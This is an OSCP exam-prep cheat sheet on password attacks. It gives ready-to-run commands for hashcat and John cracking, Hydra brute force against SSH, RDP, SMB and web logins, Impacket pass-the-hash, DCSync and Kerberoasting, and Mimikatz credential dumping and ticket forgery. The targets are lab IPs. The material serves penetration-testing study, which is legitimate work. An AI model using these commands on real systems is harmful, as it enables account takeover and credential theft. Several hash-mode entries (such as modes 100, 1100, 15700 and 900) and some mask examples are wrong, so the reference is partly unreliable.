Domain 4PrivEsc & Password AttacksCORE

Quick Reference Cheat Sheet

Comprehensive quick reference for all password attack tools and techniques. Hashcat modes, John formats, Hydra syntax, Impacket commands, attack strategy decision tree, and essential one-liners for OSCP exam.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#cheat-sheet#quick-reference#commands#hash-modes#decision-tree

Quick Reference Cheat Sheet

This is your go-to reference card for the OSCP exam. Every command, hash mode, and decision path you need — organized for fast lookup under pressure.


1. Hashcat Quick Reference

1.1 Essential Commands

# ── Identify ──────────────────────────────────────────────
# List all supported hash modes
hashcat --help | grep -i "hash modes"

# Identify an unknown hash (online)
# https://hashes.com/en/tools/hash_identifier

# ── Dictionary Attack (Mode 0: Straight) ──────────────────
hashcat -m <mode> -a 0 hashes.txt rockyou.txt

# ── Dictionary + Rules (Mode 0 + rule file) ──────────────
hashcat -m <mode> -a 0 hashes.txt rockyou.txt -r rules/best64.rule

# ── Mask Attack (Mode 3: Brute-force) ────────────────────
hashcat -m <mode> -a 3 hashes.txt ?u?l?l?d?d?d?s

# ── Hybrid: Dictionary + Mask (Mode 6) ───────────────────
hashcat -m <mode> -a 6 hashes.txt rockyou.txt ?d?d?d?d

# ── Hybrid: Mask + Dictionary (Mode 7) ───────────────────
hashcat -m <mode> -a 7 hashes.txt ?d?d?d?d rockyou.txt

# ── Combination (Mode 1: Two wordlists) ──────────────────
hashcat -m <mode> -a 1 hashes.txt wordlist1.txt wordlist2.txt

# ── Resume an interrupted session ────────────────────────
hashcat --restore

# ── Show already-cracked passwords ───────────────────────
hashcat -m <mode> --show hashes.txt

# ── Remove cracked hashes from input file ────────────────
hashcat -m <mode> --remove hashes.txt rockyou.txt

# ── Benchmark GPU speed for a hash mode ──────────────────
hashcat -m <mode> -b

# ── Output cracked passwords to file ─────────────────────
hashcat -m <mode> -a 0 -o cracked.txt hashes.txt rockyou.txt

# ── Aggressive work profile with temperature limit ───────
hashcat -m <mode> -a 0 -w 3 --hw-temp-threshold 80 hashes.txt rockyou.txt

# ── Session naming (for organized resume) ────────────────
hashcat -m <mode> -a 0 --session my_attack hashes.txt rockyou.txt

# ── Force run (ignore warnings) ──────────────────────────
hashcat -m <mode> -a 0 --force hashes.txt rockyou.txt

1.2 Attack Modes Reference

Mode Name Description When to Use
0 Straight Dictionary attack Default first attempt with wordlist
1 Combination Two wordlists combined When password is compound word
3 Brute-force Mask attack Known password pattern/length
6 Hybrid: Dict + Mask Wordlist + mask suffix Word + numbers pattern
7 Hybrid: Mask + Dict Mask prefix + wordlist Numbers + word pattern
9 Associate Dictionary associated with target Advanced targeted attacks

1.3 Mask Characters

Mask Charset Characters Count
?l Lowercase a-z 26
?u Uppercase A-Z 26
?d Digits 0-9 10
?s Special !@#$%^&*()_+-=[]{}… 32
?a Alphanumeric a-zA-Z0-9 62
?b All bytes 0x00-0xFF 256

1.4 Work Profiles

Profile Flag Description
Safe -w 0 Low intensity, conservative GPU usage
Normal -w 1 Balanced performance
Aggressive -w 2 Higher GPU utilization
Ultra -w 3 Maximum GPU utilization (default)

1.5 Built-in Rule Files

Rule File Rules Description
best64.rule 64 Good starting point, covers basics
one337.rule 20+ Leet speak substitutions
leet337.rule Extended Extended leet speak
d3ad0ne.rule Comprehensive Large comprehensive ruleset
t00m53.rule Popular Another popular ruleset

1.6 Pot File Management

# Default pot file location
cat ~/.hashcat/potfile

# Clear all cracked results
> ~/.hashcat/potfile

# Use custom pot file
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --pot-file /tmp/my_pot.potfile

2. Common Hashcat Modes Mega Table

2.1 Raw Hashes

Mode Hash Type Format Example
0 MD5 5f4dcc3b5aa765d61d8327deb882cf99
10 MD5($pass.$salt) hash:salt
100 SHA1 7c4a8d09ca3762af...
110 SHA1($pass.$salt) hash:salt
1400 SHA-256 a665a45920422f9d...
1700 SHA-512 cf83e1357eefb8b...
900 WPA/WPA2 (PMK) $WPA$...
22000 WPA/WPA2 (EAPOL) $WPA$...

2.2 Windows Hashes

Mode Hash Type Format Example
1000 NTLM Administrator:500:lmhash:ntlmhash:::
5600 NTLMv2 user$12345678$87654321$...

2.3 Linux / Unix Hashes

Mode Hash Type Format Example
500 Unix MD5 Crypt $1$...
100 BSDI MD5 $2$...
1100 HMAC-SHA256 hash:salt
1410 Unix SHA-256 Crypt $5$...
1800 Unix SHA-512 Crypt $6$...
3200 bcrypt $2b$12$...
8900 scrypt $7$...
15100 Argon2id $argon2id$v=19$...

2.4 Kerberos Hashes

Mode Hash Type Format Example
13100 Kerberos 5 TGS-REP (RC4/HMAC) $krb5tgs$...
18200 Kerberos 5 AS-REP (RC4/HMAC) $krb5asrep$...
19600 Kerberos 5 TGS-REP (AES256/TS) $krb5tgs$...aes256/...
19700 Kerberos 5 AS-REP (AES256/TS) $krb5asrep$...aes256/...

2.5 Web Application Hashes

Mode Hash Type Format Example
400 phpass (WordPress) $P$... or $H$...
10900 Django pbkdf2_sha256$...
9900 Drupal $S$...
1210 Joomla hash:salt

2.6 Other Important Modes

Mode Hash Type Notes
1110 PBKDF2-HMAC-SHA256 SSH keys, OpenSSL
1120 PBKDF2-HMAC-SHA512 SSH keys, OpenSSL
15700 Zippo password Zippo vault files
25100 7-Zip 7z archive passwords
11600 RAR3-hp RAR archive passwords

3. John the Ripper Quick Reference

3.1 Essential Commands

# ── Auto-detect format, default wordlist ─────────────────
john hashes.txt

# ── Wordlist attack ──────────────────────────────────────
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# ── Specify format explicitly ────────────────────────────
john --format=nt --wordlist=rockyou.txt hashes.txt

# ── Show cracked passwords ───────────────────────────────
john --show hashes.txt

# ── Enable wordlist rules ────────────────────────────────
john --wordlist=rockyou.txt --rules hashes.txt

# ── Incremental (brute force) ───────────────────────────
john --incremental:alpha hashes.txt

# ── Mask attack ──────────────────────────────────────────
john --format=nt --mask=?l?l?l?l?d?d?d?d hashes.txt

# ── Restore interrupted session ──────────────────────────
john --restore

# ── Benchmark / test speed ───────────────────────────────
john --test --format=nt

# ── List all supported formats ───────────────────────────
john --list=formats

# ── Single mode rules (one pass per word) ────────────────
john --wordlist=rockyou.txt --rules:Single hashes.txt

# ── Triple mode rules (combinations) ─────────────────────
john --wordlist=rockyou.txt --rules:Triple hashes.txt

3.2 Format Lookup Table

Format Description Hash Prefix / Type
nt NTLM hash 32-char hex
lm LM hash 32-char hex
md5crypt Unix MD5 $1$
sha256crypt Unix SHA-256 $5$
sha512crypt Unix SHA-512 $6$
bcrypt bcrypt $2a$, $2b$, $2y$
sshprivatekey SSH private key PEM/OPENSSH
wpapsk WPA/WPA2 PSK $WPA$
django Django PBKDF2 pbkdf2_sha256$
krb5tgs Kerberos TGS-REP $krb5tgs$
krb5asrep Kerberos AS-REP $krb5asrep$
netntlmv2 NTLMv2 NetNTLMv2 format

3.3 Incremental Modes

Mode Charset Description
alpha All printable ASCII Full brute force
alnum Alphanumeric only a-z, A-Z, 0-9
numeric Digits only 0-9
all Full byte range 0x00-0xFF

4. Hydra Quick Reference

4.1 Command Syntax

hydra [OPTIONS] <TARGET> <SERVICE> [MORE-OPTIONS]

4.2 Essential Options

Option Description
-l Single username
-L Username wordlist
-p Single password
-P Password wordlist
-t Parallel tasks (default: 16)
-s Non-default port
-v / -V Verbose / show each attempt
-f Stop at first valid credential
-e Extra attempts (n=null, r=reversed, s=empty)
-o Output file
-C Credential file (user:pass format)
-w Max wait time per attempt (seconds)
-W Max wait time between attempts
-u Cycle mode (all passwords per user)
-M Target list (multiple targets)
-vV Show all attempts AND responses

4.3 Service-Specific Commands

# ── SSH ───────────────────────────────────────────────────
hydra -l admin -P rockyou.txt ssh://192.168.1.10
hydra -L users.txt -P passwords.txt ssh://192.168.1.10
hydra -l admin -P rockyou.txt -s 2222 ssh://192.168.1.10   # custom port

# ── FTP ───────────────────────────────────────────────────
hydra -l user -P rockyou.txt ftp://192.168.1.10

# ── HTTP POST Form Login ─────────────────────────────────
hydra -l admin -P rockyou.txt -V 192.168.1.10 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=Login Failed"

# ── HTTP GET (Basic Auth) ────────────────────────────────
hydra -l admin -P rockyou.txt 192.168.1.10 http-get "/admin/"

# ── HTTPS ─────────────────────────────────────────────────
hydra -l admin -P rockyou.txt -s 443 192.168.1.10 https

# ── SMB ───────────────────────────────────────────────────
hydra -l administrator -P rockyou.txt smb://192.168.1.10

# ── RDP ───────────────────────────────────────────────────
hydra -l administrator -P rockyou.txt rdp://192.168.1.10

# ── MySQL ─────────────────────────────────────────────────
hydra -l root -P rockyou.txt mysql://192.168.1.10

# ── PostgreSQL ────────────────────────────────────────────
hydra -l postgres -P rockyou.txt postgres://192.168.1.10

# ── Multiple Targets ─────────────────────────────────────
hydra -M targets.txt -l admin -P rockyou.txt ssh

# ── Stop at First Success ────────────────────────────────
hydra -l admin -P rockyou.txt -f ssh://192.168.1.10

# ── Save Results ──────────────────────────────────────────
hydra -l admin -P rockyou.txt -o results.txt ssh://192.168.1.10

# ── Cycle Mode ───────────────────────────────────────────
hydra -L users.txt -P passwords.txt -u ssh://192.168.1.10

# ── Increase Parallel Tasks ──────────────────────────────
hydra -l admin -P rockyou.txt -t 64 ssh://192.168.1.10

# ── Extra: Try null password and reversed username ───────
hydra -l admin -P rockyou.txt -e nr ssh://192.168.1.10

4.4 Supported Protocols Quick Lookup

Protocol Module Default Port
FTP ftp 21
SSH ssh 22
Telnet telnet 23
HTTP-GET http-get 80
HTTP-POST http-post-form 80
HTTPS https 443
SMB smb 445
RDP rdp 3389
MySQL mysql 3306
PostgreSQL postgres 5432
MSSQL mssql 1433
VNC vnc 5900
SNMP snmp 161
Redis redis 6379
MongoDB mongodb 27017

5. Impacket Quick Reference

5.1 psexec.py — Remote Execution via Pass-the-Hash

# With password
psexec.py domain/user:password@target

# With NTLM hash (pass-the-hash)
psexec.py -hashes :ntlm_hash domain/user@target

# With both LM and NTLM hashes
psexec.py -hashes lm_hash:ntlm_hash domain/user@target

# No password, hash only
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef administrator@192.168.1.10

# With specific DC IP
psexec.py -hashes :ntlm_hash -dc-ip 192.168.1.5 domain/user@target

5.2 secretsdump.py — Credential Extraction

# Dump SAM/LSA secrets from target
secretsdump.py domain/user:password@target

# DCSync attack (dump all domain hashes)
secretsdump.py -just-dc domain/admin:password@dc_ip

# DCSync with hash (no password needed)
secretsdump.py -just-dc -hashes :ntlm_hash domain/admin@dc_ip

# DCSync to file
secretsdump.py -just-dc -outputfile hashes.txt domain/admin@dc_ip

# Dump specific user
secretsdump.py -just-dc-user Administrator domain/admin@dc_ip

# NTLM relay DCSync
secretsdump.py -just-dc-ntlm domain/admin@dc_ip

5.3 getUserSPNs.py — Kerberoasting

# Request all SPN tickets (requires valid creds)
getUserSPNs.py -dc-ip 192.168.1.5 domain/user:password -request

# Save hashes in hashcat format
getUserSPNs.py -dc-ip 192.168.1.5 domain/user:password \
  -request -outputfile:hashcat_format hashes.txt

# Save hashes in John format
getUserSPNs.py -dc-ip 192.168.1.5 domain/user:password \
  -request -outputfile:john_format hashes.txt

# With hash instead of password
getUserSPNs.py -dc-ip 192.168.1.5 -hashes :ntlm_hash \
  domain/user -request -outputfile:hashcat_format hashes.txt

5.4 GetNPUsers.py — AS-REP Roasting

# Find accounts without pre-auth (no creds needed for enumeration)
GetNPUsers.py domain/ -format hashcat -outputfile asreps.txt

# With DC IP
GetNPUsers.py -dc-ip 192.168.1.5 domain/ -format hashcat \
  -outputfile asreps.txt

# Request for specific user
GetNPUsers.py domain/target_user -format hashcat \
  -outputfile asreps.txt

# John format
GetNPUsers.py domain/ -format john -outputfile asreps.txt

# Request and save (with creds to get full data)
GetNPUsers.py domain/user:password -format hashcat \
  -outputfile asreps.txt -request

5.5 wmiexec.py — WMI-Based Execution

# With password
wmiexec.py domain/user:password@target

# With hash
wmiexec.py -hashes :ntlm_hash domain/user@target

# No output (stealth)
wmiexec.py -hashes :ntlm_hash domain/user@target -nooutput

5.6 smbexec.py — SMB-Based Execution

# With password
smbexec.py domain/user:password@target

# With hash
smbexec.py -hashes :ntlm_hash domain/user@target

5.7 Impacket Command Comparison

Tool Purpose Auth Method Key Flag
psexec.py Remote shell Pass/Hash -hashes
secretsdump.py Dump creds Pass/Hash -just-dc
getUserSPNs.py Kerberoasting Pass/Hash -request
GetNPUsers.py AS-REP Roast None/Pass -format hashcat
wmiexec.py WMI execution Pass/Hash -hashes
smbexec.py SMB execution Pass/Hash -hashes

6. Mimikatz Quick Reference

6.1 Core Commands

# ── Gain Debug Privilege ─────────────────────────────────
privilege::debug

# ── Extract Logon Passwords ──────────────────────────────
sekurlsa::logonpasswords

# ── Pass-the-Hash (inject credentials) ───────────────────
sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:5835048ce94ad0564e29a924a03510ef

# ── Dump SAM Database ────────────────────────────────────
lsadump::sam

# ── DCSync Attack ────────────────────────────────────────
lsadump::dcsync /user:Administrator /domain:lab.local

# ── DCSync All Users ─────────────────────────────────────
lsadump::dcsync /domain:lab.local /all

# ── List Kerberos Tickets ────────────────────────────────
kerberos::list

# ── Export Kerberos Tickets ──────────────────────────────
kerberos::export /path:tickets

# ── Pass-the-Ticket ──────────────────────────────────────
kerberos::ptt ticket.kirbi

# ── Golden Ticket ────────────────────────────────────────
kerberos::golden /user:Administrator /domain:lab.local \
  /sid:S-1-5-21-... /krbtgt:hash /id:500

# ── Silver Ticket ────────────────────────────────────────
kerberos::silver /user:Administrator /domain:lab.local \
  /sid:S-1-5-21-... /rc4:hash /service:cifs /target:server.lab.local

6.2 Mimikatz Command Categories

Category Command Purpose
Privilege privilege::debug Enable debug privilege (required)
LSA Secrets sekurlsa::logonpasswords Dump plaintext passwords from memory
LSA Secrets sekurlsa::wdigest Dump WDigest credentials
LSA Secrets sekurlsa::tickets List Kerberos tickets in memory
Pass-the-Hash sekurlsa::pth Inject NTLM hash into current session
SAM Dump lsadump::sam Extract local SAM database hashes
DCSync lsadump::dcsync Replicate AD data (domain hashes)
Kerberos kerberos::list List current tickets
Kerberos kerberos::export Export tickets to file
Kerberos kerberos::ptt Inject ticket (Pass-the-Ticket)
Golden Ticket kerberos::golden Forge TGT with krbtgt hash
Silver Ticket kerberos::silver Forge service ticket

7. Attack Strategy Decision Tree

7.1 Full Decision Flowchart

┌─────────────────────────────────────────────────────────────────────┐
│                    PASSWORD ATTACK DECISION TREE                     │
└─────────────────────────────────────────────────────────────────────┘

                    ┌───────────────────────┐
                    │  Start Password Attack │
                    └───────────┬───────────┘
                                │
                    ┌───────────▼───────────┐
                    │   Have a hash?         │
                    └───┬───────────────┬───┘
                      YES               NO
                      │                 │
          ┌───────────▼───────────┐  ┌─▼──────────────────────┐
          │   OFFLINE ATTACK      │  │   ONLINE ATTACK         │
          │   (Hashcat / John)    │  │   (Hydra / Medusa)      │
          └───────────┬───────────┘  └─┬──────────────────────┘
                      │                 │
    ┌─────────────────▼─────────────────┐  ┌─────────────────────▼──────────────┐
    │  What hash type?                   │  │  What target service?               │
    └─────────────────┬─────────────────┘  └─────────────────────┬──────────────┘
     │    │    │    │    │    │                                   │    │    │    │
     ▼    ▼    ▼    ▼    ▼    ▼                                   ▼    ▼    ▼    ▼
   NTLM Linux  Kerb  bcrypt WPA   Other                          SSH  HTTP SMB  RDP
   │    │    │    │    │    │                                   │    │    │    │
   ▼    ▼    ▼    ▼    ▼    ▼                                   ▼    ▼    ▼    ▼
  m1000 m1800 m13100 m3200 m22000 Identify                       Hydra Hydra Hydra Hydra
  m1000 m1800 m18200 m3200 m900   hash mode                     SSH   POST  SMB   RDP
  m1000 m1800 m19600 m8900        module                        -form
  m1000 m1800 m19700 m15100
  m1000 m1800
  m1000 m1410
  m1000 m500
  m1000 m3200
          │
          ▼
  ┌───────────────────────────────────────────────────────────┐
  │              OFFLINE ATTACK STRATEGY (Priority Order)      │
  ├───────────────────────────────────────────────────────────┤
  │                                                           │
  │  1. Dictionary (rockyou.txt)                              │
  │     └─ hashcat -m <mode> -a 0 hashes.txt rockyou.txt     │
  │                                                           │
  │  2. Dictionary + Rules (best64.rule)                      │
  │     └─ hashcat -m <mode> -a 0 hashes.txt rockyou.txt     │
  │        -r rules/best64.rule                               │
  │                                                           │
  │  3. Dictionary + Rules (one337.rule)                      │
  │     └─ hashcat -m <mode> -a 0 hashes.txt rockyou.txt     │
  │        -r rules/one337.rule                               │
  │                                                           │
  │  4. Hybrid: Dict + 4-digit suffix                        │
  │     └─ hashcat -m <mode> -a 6 hashes.txt rockyou.txt     │
  │        ?d?d?d?d                                           │
  │                                                           │
  │  5. Mask Attack (if pattern known)                        │
  │     └─ hashcat -m <mode> -a 3 hashes.txt ?u?l?l?d?d?d?s  │
  │                                                           │
  │  6. Full Brute Force (last resort)                        │
  │     └─ hashcat -m <mode> -a 3 hashes.txt ?a?a?a?a?a?a?a?a│
  │                                                           │
  └───────────────────────────────────────────────────────────┘
          │
          ▼
    ┌──────────────┐
    │  Cracked?     │
    └──┬────────┬──┘
      YES        NO
      │          │
      ▼          ▼
  ┌─────────┐  ┌──────────────────────────┐
  │ Access!  │  │ Try custom wordlist      │
  │ Document │  │ Try different rules      │
  │ Result   │  │ Try mask with shorter    │
  └─────────┘  │ length                    │
               │ Try John incremental      │
               └──────────────────────────┘

7.2 Quick Decision Matrix

Situation Tool Command Pattern
NTLM hash found Hashcat hashcat -m 1000 -a 0 hashes.txt rockyou.txt
Linux /etc/shadow Hashcat hashcat -m 1800 -a 0 shadow.txt rockyou.txt
Kerberos TGS-REP Hashcat hashcat -m 13100 -a 0 tgs.txt rockyou.txt
Kerberos AS-REP Hashcat hashcat -m 18200 -a 0 asreps.txt rockyou.txt
SSH service live Hydra hydra -l user -P rockyou.txt ssh://target
Web login form Hydra hydra -l user -P rockyou.txt target http-post-form "..."
Have NTLM hash, need shell psexec.py psexec.py -hashes :hash user@target
Domain admin, need all hashes secretsdump.py secretsdump.py -just-dc domain/admin@dc
Domain user, want to kerberoast getUserSPNs.py getUserSPNs.py domain/user:pass -request
No creds, check AS-REP GetNPUsers.py GetNPUsers.py domain/ -format hashcat
Local admin on Windows Mimikatz sekurlsa::logonpasswords

8. OSCP Exam Quick Checklist

8.1 When You Find a Hash — Do This First

┌────────────────────────────────────────────────────────────────┐
│              HASH FOUND — IMMEDIATE ACTION CHECKLIST            │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│  [ ] 1. Identify the hash type                                │
│       → Look at format/prefix ($6$, $krb5tgs$, etc.)          │
│       → Use hashcat --help or hashes.com to confirm            │
│                                                                │
│  [ ] 2. Save hash to file                                     │
│       → Create clean file with ONLY the hash                   │
│       → Name it descriptively (ntlm_hashes.txt, etc.)          │
│                                                                │
│  [ ] 3. Try rockyou.txt FIRST                                 │
│       → hashcat -m <mode> -a 0 hashes.txt rockyou.txt         │
│       → 50%+ of OSCP passwords are in rockyou                  │
│                                                                │
│  [ ] 4. Try rockyou + best64.rule                             │
│       → hashcat -m <mode> -a 0 hashes.txt rockyou.txt         │
│          -r rules/best64.rule                                  │
│                                                                │
│  [ ] 5. Try rockyou + one337.rule                             │
│       → hashcat -m <mode> -a 0 hashes.txt rockyou.txt         │
│          -r rules/one337.rule                                  │
│                                                                │
│  [ ] 6. Try hybrid (dict + 4 digits)                          │
│       → hashcat -m <mode> -a 6 hashes.txt rockyou.txt         │
│          ?d?d?d?d                                              │
│                                                                │
│  [ ] 7. If cracked → Document the password immediately        │
│       → Note hash type, mode, tool, wordlist, rule used        │
│                                                                │
└────────────────────────────────────────────────────────────────┘

8.2 Tool Priority for OSCP

Priority Tool When to Use
1 Hashcat Any offline hash cracking (GPU-accelerated, fastest)
2 John When Hashcat unavailable or for specific formats
3 Hydra Online service brute force (SSH, HTTP, SMB, RDP)
4 Impacket Windows/AD attacks (PtH, DCSync, Kerberoasting)
5 Mimikatz Windows credential dumping (local admin access)
6 Medusa Alternative to Hydra for online attacks

8.3 Documentation Tips (Critical for Exam)

┌────────────────────────────────────────────────────────────────┐
│                  DOCUMENTATION MUST-HAVES                       │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│  For EVERY password attack, record:                            │
│                                                                │
│  ✓ Hash type and mode number used                              │
│  ✓ Tool and exact command executed                             │
│  ✓ Wordlist and rules used                                     │
│  ✓ Cracked password (redacted in report if required)          │
│  ✓ How the credential was used after cracking                   │
│  ✓ Screenshot of the cracking output (for proof)              │
│                                                                │
│  Example entry:                                                │
│  "NTLM hash for user 'admin' was cracked using Hashcat         │
│   mode 1000 with rockyou.txt and best64.rule.                  │
│   Command: hashcat -m 1000 -a 0 ntlm.txt rockyou.txt          │
│          -r rules/best64.rule                                  │
│   Cracked password: [REDACTED]                                 │
│   Used to gain SSH access to 10.10.10.10"                     │
│                                                                │
└────────────────────────────────────────────────────────────────┘

8.4 Common OSCP Password Patterns

Pattern Mask Example
Capital + 3 lowercase + 3 digits ?u?l?l?l?d?d?d Pas123
Capital + 4 lowercase + 2 digits ?u?l?l?l?l?d?d Pass12
Capital + 5 lowercase + 1 digit + special ?u?l?l?l?l?l?d?s Passw1!
All lowercase + 2 digits ?l?l?l?l?l?l?d?d passw012
Season + year ?l?l?l?l?l?d?d?d?d Summer2024
Word + ! ?l?l?l?l?l?l?l?l?l?s password!

8.5 Kerberos Attack Quick Reference

┌────────────────────────────────────────────────────────────────┐
│              KERBEROS ATTACKS — WHICH ONE?                      │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│  Kerberoasting:                                                │
│  ─ Requires: Domain user account (any)                         │
│  ─ Targets: Service accounts with SPNs                         │
│  ─ Tool: getUserSPNs.py -request                               │
│  ─ Crack: hashcat -m 13100 (RC4) or -m 19600 (AES256)         │
│                                                                │
│  AS-REP Roasting:                                              │
│  ─ Requires: No credentials (or domain user)                   │
│  ─ Targets: Users with DONT_REQ_PREAUTH flag                   │
│  ─ Tool: GetNPUsers.py -format hashcat                         │
│  ─ Crack: hashcat -m 18200 (RC4) or -m 19700 (AES256)         │
│                                                                │
│  Pass-the-Ticket:                                              │
│  ─ Requires: Extracted .kirbi ticket                           │
│  ─ Tool: Mimikatz kerberos::ptt                                │
│  ─ Or: Rubeus ptt                                             │
│                                                                │
│  DCSync:                                                       │
│  ─ Requires: Domain admin (or DCSync rights)                   │
│  ─ Tool: secretsdump.py -just-dc                               │
│  ─ Or: Mimikatz lsadump::dcsync                                │
│                                                                │
└────────────────────────────────────────────────────────────────┘

8.6 Pass-the-Hash Quick Reference

┌────────────────────────────────────────────────────────────────┐
│              PASS-THE-HASH — COMMAND CHEAT SHEET                │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│  Impacket (Kali/Linux):                                        │
│  psexec.py   -hashes :NTLM_HASH user@target                    │
│  wmiexec.py  -hashes :NTLM_HASH user@target                    │
│  secretsdump.py -hashes :NTLM_HASH user@dc                     │
│                                                                │
│  Mimikatz (Windows):                                           │
│  privilege::debug                                              │
│  sekurlsa::pth /user:ADMIN /domain:DOMAIN /ntlm:NTLM_HASH      │
│  (opens new SYSTEM shell with injected credentials)            │
│                                                                │
│  CrackMapExec:                                                  │
│  crackmapexec smb target -u user -H NTLM_HASH                  │
│  crackmapexec wmi target -u user -H NTLM_HASH                  │
│                                                                │
│  ── Hash format reminder ──                                    │
│  -hashes LMHASH:NTHASH                                         │
│  Modern systems: LM is empty → use :NTHASH                     │
│  Example: -hashes :5835048ce94ad0564e29a924a03510ef            │
│                                                                │
└────────────────────────────────────────────────────────────────┘

8.7 Exam Time-Saving Tips

  1. Always try rockyou.txt first — it cracks the majority of OSCP passwords.
  2. Use --show before re-cracking — Hashcat may have already cracked it in a previous session (pot file).
  3. Benchmark your GPU — Know your speed: hashcat -m 1000 -b tells you if brute force is feasible.
  4. Use --remove — After cracking some hashes, remove them and focus on remaining ones.
  5. Start with simple rules — best64.rule before d3ad0ne.rule (faster, catches most).
  6. Kerberoasting is free — If you have any domain user, always run getUserSPNs.py.
  7. AS-REP needs no creds — Always check with GetNPUsers.py even without authentication.
  8. Document as you go — Don’t leave documentation for the end; you will forget commands.
  9. Pass-the-Hash saves hours — If you have an NTLM hash and admin rights, use it directly instead of cracking.
  10. Check password reuse — A password cracked on one service often works on others.

9. Essential One-Liners

# ── The "I found a hash and need it cracked NOW" pipeline ──
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule -O

# ── Kerberoasting one-liner (enumerate + save) ──
getUserSPNs.py -dc-ip 10.10.10.10 lab.local/user:password -request -outputfile:hashcat_format tgs_hashes.txt

# ── AS-REP Roasting one-liner (no creds needed) ──
GetNPUsers.py lab.local/ -dc-ip 10.10.10.10 -format hashcat -outputfile asrep_hashes.txt

# ── DCSync one-liner (domain admin) ──
secretsdump.py -just-dc lab.local/administrator:password@10.10.10.10 -outputfile all_hashes.txt

# ── Pass-the-Hash shell one-liner ──
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef administrator@10.10.10.10

# ── Hydra multi-target SSH ──
hydra -M targets.txt -l root -P /usr/share/wordlists/rockyou.txt -t 32 -f ssh

# ── John show + format pipe to file ──
john --show hashes.txt > cracked_passwords.txt

# ── Hashcat benchmark all common modes ──
for m in 0 100 1400 1700 1000 1800 3200 13100 18200; do echo "Mode $m:"; hashcat -m $m -b; done

10. Summary — Key Takeaways

  1. Know your hash type — correct identification is the first step; the hash prefix tells you everything.
  2. Start simple — dictionary attacks with rockyou.txt catch the most passwords.
  3. Use rules — rule-based attacks dramatically increase success rates with minimal extra time.
  4. Custom wordlists win — target-specific wordlists outperform generic ones.
  5. GPU acceleration matters — Hashcat on GPU is orders of magnitude faster than John on CPU.
  6. Kerberos attacks are powerful — Kerberoasting and AS-REP roasting require minimal privileges.
  7. Pass-the-Hash saves time — no need to crack if you can use the hash directly.
  8. Be patient — complex passwords may require mask attacks or extended brute force.
  9. Document everything — record hash types, tools used, commands, and results.
  10. Think like the user — understand password creation patterns for better rules and masks.